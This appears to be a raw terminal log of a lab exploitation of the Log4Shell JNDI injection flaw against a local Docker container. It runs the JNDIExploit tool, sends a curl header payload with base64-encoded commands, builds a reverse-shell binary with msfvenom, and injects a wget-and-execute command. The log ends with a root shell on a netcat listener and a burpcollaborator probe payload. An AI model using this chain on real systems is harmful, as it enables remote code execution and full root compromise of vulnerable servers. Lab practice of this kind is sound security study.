$ cd tools/
$ unzip JNDIExploit.v1.2.zip
$ cd JNDIExploit.v1.2/
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help

$ echo 'ping -c 5 172.17.0.1' | base64 -w 0
cGluZyAtYyA1IDE3Mi4xNy4wLjEK

$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...

$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK}'

...
[+] Received LDAP Query: Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK
[+] Paylaod: command
[+] Command: ping -c 5 172.17.0.1

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK redirecting to http://172.17.0.1:8888/ExploitX07BVXemV5.class
[+] New HTTP Request From /172.17.0.2:58630  /ExploitX07BVXemV5.class
[+] Receive ClassRequest: ExploitX07BVXemV5.class
[+] Response Code: 200

$ sudo tcpdump -i docker0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
22:32:07.210584 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 0, length 64
22:32:07.210594 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 0, length 64
22:32:08.210938 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 1, length 64
22:32:08.210965 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 1, length 64
22:32:09.211367 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 2, length 64
22:32:09.211391 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 2, length 64
22:32:10.211569 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 3, length 64
22:32:10.211592 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 3, length 64
22:32:11.211814 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 4, length 64
22:32:11.211848 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 4, length 64

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f elf -o /tmp/rev.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: /tmp/rev.elf

$ sudo python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf

$ echo 'wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf' | base64
d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK

$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
...

$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK}'
Hello, world!

$ nc -lvnp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:42176.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
whoami
root

...
[+] Received LDAP Query: Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
[+] Paylaod: command
[+] Command: wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK redirecting to http://172.17.0.1:8888/ExploitgV2vh72T6X.class
[+] New HTTP Request From /172.17.0.2:58650  /ExploitgV2vh72T6X.class
[+] Receive ClassRequest: ExploitgV2vh72T6X.class
[+] Response Code: 200

${jndi:ldap://${hostName}.our-link.burpcollaborator.net/}